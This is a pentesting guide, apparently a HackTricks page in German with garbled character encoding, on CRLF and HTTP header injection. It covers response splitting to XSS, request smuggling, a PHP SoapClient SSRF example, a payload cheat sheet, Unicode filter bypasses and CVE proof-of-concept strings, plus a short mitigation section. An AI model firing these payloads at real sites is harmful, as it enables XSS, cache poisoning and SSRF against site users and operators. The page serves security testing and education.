CRLF (%0D%0A) Injection
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
CRLF
Carriage Return (CR) und Line Feed (LF), zusammen bekannt als CRLF, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Körper einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen ĂŒber verschiedene Webserver-Typen hinweg eingesetzt, wie z.B. Apache und Microsoft IIS.
CRLF Injection Vulnerability
CRLF-Injection beinhaltet das EinfĂŒgen von CR- und LF-Zeichen in vom Benutzer bereitgestellten Eingaben. Diese Aktion fĂŒhrt dazu, dass der Server, die Anwendung oder der Benutzer die eingefĂŒgte Sequenz als das Ende einer Antwort und den Beginn einer anderen interpretiert. WĂ€hrend diese Zeichen an sich nicht schĂ€dlich sind, kann ihr Missbrauch zu HTTP-Antwortsplittung und anderen böswilligen AktivitĂ€ten fĂŒhren.
Beispiel: CRLF Injection in einer Protokolldatei
Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format: IP - Zeit - Besuchter Pfad hat. Ein typischer Eintrag könnte so aussehen:
123.123.123.123 - 08:15 - /index.php?page=home
Ein Angreifer kann eine CRLF-Injection ausnutzen, um dieses Protokoll zu manipulieren. Durch das Injizieren von CRLF-Zeichen in die HTTP-Anfrage kann der Angreifer den Ausgabestrom Àndern und ProtokolleintrÀge fÀlschen. Zum Beispiel könnte eine injizierte Sequenz den Protokolleintrag in Folgendes umwandeln:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Hier reprĂ€sentieren %0d und %0a die URL-kodierten Formen von CR und LF. Nach dem Angriff wĂŒrde das Protokoll irrefĂŒhrend anzeigen:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Der Angreifer tarnt somit seine bösartigen AktivitĂ€ten, indem er es so erscheinen lĂ€sst, als ob der localhost (eine EntitĂ€t, die typischerweise innerhalb der Serverumgebung vertraut ist) die Aktionen ausgefĂŒhrt hat. Der Server interpretiert den Teil der Abfrage, der mit %0d%0a beginnt, als einen einzelnen Parameter, wĂ€hrend der restrictedaction-Parameter als eine andere, separate Eingabe geparst wird. Die manipulierte Abfrage ahmt effektiv einen legitimen administrativen Befehl nach: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
Beschreibung
HTTP Response Splitting ist eine SicherheitsanfĂ€lligkeit, die entsteht, wenn ein Angreifer die Struktur von HTTP-Antworten ausnutzt. Diese Struktur trennt Header vom Body mithilfe einer spezifischen Zeichenfolge, Carriage Return (CR) gefolgt von Line Feed (LF), zusammen als CRLF bezeichnet. Wenn es einem Angreifer gelingt, eine CRLF-Zeichenfolge in einen Antwort-Header einzufĂŒgen, kann er effektiv den nachfolgenden Antwortinhalt manipulieren. Diese Art der Manipulation kann zu schwerwiegenden Sicherheitsproblemen fĂŒhren, insbesondere zu Cross-site Scripting (XSS).
XSS durch HTTP Response Splitting
- Die Anwendung setzt einen benutzerdefinierten Header wie folgt:
X-Custom-Header: UserInput - Die Anwendung ruft den Wert fĂŒr
UserInputaus einem Abfrageparameter ab, sagen wir âuser_inputâ. In Szenarien, in denen es an ordnungsgemĂ€Ăer Eingabevalidierung und -kodierung mangelt, kann ein Angreifer eine Nutzlast erstellen, die die CRLF-Zeichenfolge enthĂ€lt, gefolgt von bösartigem Inhalt. - Ein Angreifer erstellt eine URL mit einem speziell gestalteten âuser_inputâ:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- In dieser URL ist
%0d%0a%0d%0adie URL-kodierte Form von CRLFCRLF. Es tĂ€uscht den Server, indem es eine CRLF-Zeichenfolge einfĂŒgt, wodurch der Server den nachfolgenden Teil als Antwort-Body behandelt.
- Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur fĂŒhrt, in der das bösartige Skript vom Browser als Teil des Antwort-Bodys interpretiert wird.
Ein Beispiel fĂŒr HTTP Response Splitting, das zu einer Umleitung fĂŒhrt
Browser zu:
/%0d%0aLocation:%20http://myweb.com
Und der Server antwortet mit dem Header:
Location: http://myweb.com
Anderes Beispiel: (von https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Im URL-Pfad
Sie können die Payload innerhalb des URL-Pfads senden, um die Antwort vom Server zu steuern (Beispiel von hier):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
ĂberprĂŒfen Sie weitere Beispiele in:
HTTP Header Injection
HTTP Header Injection, oft ausgenutzt durch CRLF (Carriage Return und Line Feed) Injection, ermöglicht es Angreifern, HTTP-Header einzufĂŒgen. Dies kann Sicherheitsmechanismen wie XSS (Cross-Site Scripting) Filter oder die SOP (Same-Origin Policy) untergraben, was potenziell zu unbefugtem Zugriff auf sensible Daten, wie CSRF-Tokens, oder zur Manipulation von Benutzersitzungen durch Cookie-Platzierung fĂŒhren kann.
Ausnutzen von CORS ĂŒber HTTP Header Injection
Ein Angreifer kann HTTP-Header injizieren, um CORS (Cross-Origin Resource Sharing) zu aktivieren und die durch SOP auferlegten EinschrĂ€nkungen zu umgehen. Dieser VerstoĂ ermöglicht es Skripten aus bösartigen UrsprĂŒngen, mit Ressourcen aus einem anderen Ursprung zu interagieren und potenziell auf geschĂŒtzte Daten zuzugreifen.
SSRF und HTTP Request Injection ĂŒber CRLF
CRLF-Injection kann genutzt werden, um eine völlig neue HTTP-Anfrage zu erstellen und einzufĂŒgen. Ein bemerkenswertes Beispiel hierfĂŒr ist die Schwachstelle in PHPs SoapClient-Klasse, insbesondere im user_agent-Parameter. Durch Manipulation dieses Parameters kann ein Angreifer zusĂ€tzliche Header und Body-Inhalte einfĂŒgen oder sogar eine neue HTTP-Anfrage vollstĂ€ndig injizieren. Unten ist ein PHP-Beispiel, das diese Ausnutzung demonstriert:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection zu Request Smuggling
FĂŒr weitere Informationen zu dieser Technik und möglichen Problemen prĂŒfen Sie die Originalquelle.
Sie können essentielle Header injizieren, um sicherzustellen, dass der Back-End die Verbindung offen hĂ€lt, nachdem auf die ursprĂŒngliche Anfrage geantwortet wurde:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Nachfolgend kann eine zweite Anfrage spezifiziert werden. Dieses Szenario beinhaltet typischerweise HTTP request smuggling, eine Technik, bei der zusĂ€tzliche Header oder Body-Elemente, die vom Server nach der Injektion angehĂ€ngt werden, zu verschiedenen Sicherheitsausnutzungen fĂŒhren können.
Ausnutzung:
- Malicious Prefix Injection: Diese Methode beinhaltet das Vergiften der Anfrage des nĂ€chsten Benutzers oder eines Web-Caches, indem ein bösartiges PrĂ€fix angegeben wird. Ein Beispiel dafĂŒr ist:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Crafting a Prefix for Response Queue Poisoning: Dieser Ansatz beinhaltet das Erstellen eines PrĂ€fixes, das, wenn es mit nachfolgendem MĂŒll kombiniert wird, eine vollstĂ€ndige zweite Anfrage bildet. Dies kann das Vergiften der Antwortwarteschlange auslösen. Ein Beispiel ist:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Injection
Memcache ist ein key-value store, der ein Klartextprotokoll verwendet. Weitere Informationen in:
FĂŒr die vollstĂ€ndigen Informationen lesen Sie die originale Beschreibung
Wenn eine Plattform Daten aus einer HTTP-Anfrage entnimmt und diese ohne Bereinigung verwendet, um Anfragen an einen memcache-Server zu stellen, könnte ein Angreifer dieses Verhalten ausnutzen, um neue Memcache-Befehle einzufĂŒgen.
Zum Beispiel wurden in der ursprĂŒnglich entdeckten Schwachstelle Cache-SchlĂŒssel verwendet, um die IP und den Port zurĂŒckzugeben, mit dem sich ein Benutzer verbinden sollte, und Angreifer konnten Memcache-Befehle injizieren, die den Cache vergifteten, um die Details der Opfer (Benutzernamen und Passwörter eingeschlossen) an die Server des Angreifers zu senden:
.png)
DarĂŒber hinaus entdeckten Forscher auch, dass sie die Memcache-Antworten desynchronisieren konnten, um die IP und Ports der Angreifer an Benutzer zu senden, deren E-Mail der Angreifer nicht kannte:
.png)
So verhindern Sie CRLF / HTTP-Header-Injektionen in Webanwendungen
Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injektionen in Webanwendungen zu mindern, werden die folgenden Strategien empfohlen:
- Vermeiden Sie direkte Benutzereingaben in Antwort-Headern: Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Header einzufĂŒgen.
- Kodieren Sie Sonderzeichen: Wenn es nicht möglich ist, direkte Benutzereingaben zu vermeiden, stellen Sie sicher, dass Sie eine Funktion verwenden, die speziell fĂŒr die Kodierung von Sonderzeichen wie CR (Carriage Return) und LF (Line Feed) zustĂ€ndig ist. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion.
- Aktualisieren Sie die Programmiersprache: Aktualisieren Sie regelmĂ€Ăig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. WĂ€hlen Sie eine Version, die das EinfĂŒgen von CR- und LF-Zeichen in Funktionen, die fĂŒr das Setzen von HTTP-Headern zustĂ€ndig sind, von vornherein verbietet.
CHEATSHEET
1. HTTP Response Splitting
âą /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
âą //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
âą /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
âą /google.com/%2F..%0D%0AHeader-Test:test2
âą /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
âą /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
âą /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
âą %E5%98%8A = %0A = \u560a
âą %E5%98%8D = %0D = \u560d
âą %E5%98%BE = %3E = \u563e (>)
âą %E5%98%BC = %3C = \u563c (<)
âą Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Aktuelle Schwachstellen (2023 â 2025)
In den letzten Jahren wurden mehrere hochgradige CRLF/HTTP-Header-Injection-Fehler in weit verbreiteten Server- und Client-Komponenten entdeckt. Die lokale Reproduktion und Untersuchung dieser Fehler ist eine hervorragende Möglichkeit, um reale Ausnutzungsmuster zu verstehen.
| Jahr | Komponente | CVE / Advisory | Grundursache | PoC-Hervorhebung |
|---|---|---|---|---|
| 2024 | RestSharp (â„110.0.0 <110.2.0) | CVE-2024-45302 | Der AddHeader()-Helfer hat CR/LF nicht bereinigt, was die Konstruktion mehrerer Anforderungsheader ermöglichte, wenn RestSharp als HTTP-Client in Backend-Diensten verwendet wird. Nachgelagerte Systeme könnten zu SSRF oder Request Smuggling gezwungen werden. | client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
| 2024 | Refit (†7.2.101) | CVE-2024-51501 | Header-Attribute in Schnittstellenmethoden wurden unverĂ€ndert in die Anfrage kopiert. Durch das Einbetten von %0d%0a konnten Angreifer beliebige Header oder sogar eine zweite Anfrage hinzufĂŒgen, wenn Refit von serverseitigen Worker-Jobs verwendet wurde. | [Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
| 2023 | Apache APISIX Dashboard | GHSA-4h3j-f5x9-r6x3 | Der vom Benutzer bereitgestellte redirect-Parameter wurde ohne Kodierung in einen Location:-Header zurĂŒckgegeben, was eine offene Umleitung + Cache-Vergiftung ermöglichte. | /login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
Diese Fehler sind wichtig, da sie innerhalb des Anwendungscodes ausgelöst werden und nicht nur am Rand des Webservers. Jedes interne Element, das HTTP-Anfragen durchfĂŒhrt oder Antwortheader setzt, muss daher CR/LF-Filterung durchsetzen.
Fortgeschrittene Unicode / Steuerzeichen-Bypasses
Moderne WAF/Umformungsstacks entfernen oft das literale \r/\n, vergessen jedoch andere Zeichen, die viele Backends als Zeilenbegrenzer behandeln. Wenn CRLF gefiltert wird, versuchen Sie:
%E2%80%A8(U+2028â ZEILENBEGRENZER)%E2%80%A9(U+2029â ABSATZBEGRENZER)%C2%85(U+0085â NĂCHSTE ZEILE)
Einige Java-, Python- und Go-Frameworks konvertieren diese wÀhrend der Header-Analyse in \n (siehe die Praetorian-Forschung von 2023). Kombinieren Sie sie mit klassischen Payloads:
/%0A%E2%80%A8Set-Cookie:%20admin=true
Wenn der Filter zuerst UTF-8 normalisiert, wird das Steuerzeichen in einen regulÀren Zeilenumbruch umgewandelt und der injizierte Header wird akzeptiert.
WAF-Evasion ĂŒber den Trick mit doppeltem Content-Encoding (2023)
Die Forscher von Praetorian zeigten auch, dass durch das Injizieren:
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
in einen reflektierten Header, ignorieren Browser den vom Server bereitgestellten Body und rendern den vom Angreifer bereitgestellten HTML-Code, der folgt, was gespeichertes XSS ermöglicht, selbst wenn der eigene Inhalt der Anwendung inert ist. Da Content-Encoding: identity von RFC 9110 erlaubt ist, leiten viele Reverse-Proxys es unverÀndert weiter.
Automatische Werkzeuge
- CRLFsuite â schneller aktiver Scanner, geschrieben in Go.
- crlfuzz â auf Wortlisten basierender Fuzzer, der Unicode-Zeilenumbruch-Payloads unterstĂŒtzt.
- crlfix â 2024 Dienstprogramm, das HTTP-Anfragen, die von Go-Programmen generiert werden, patcht und eigenstĂ€ndig verwendet werden kann, um interne Dienste zu testen.
Brute-Force Erkennungsliste
Referenzen
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
Tip
Lernen & ĂŒben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & ĂŒben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
UnterstĂŒtzen Sie HackTricks
- ĂberprĂŒfen Sie die AbonnementplĂ€ne!
- Treten Sie der đŹ Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter đŠ @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


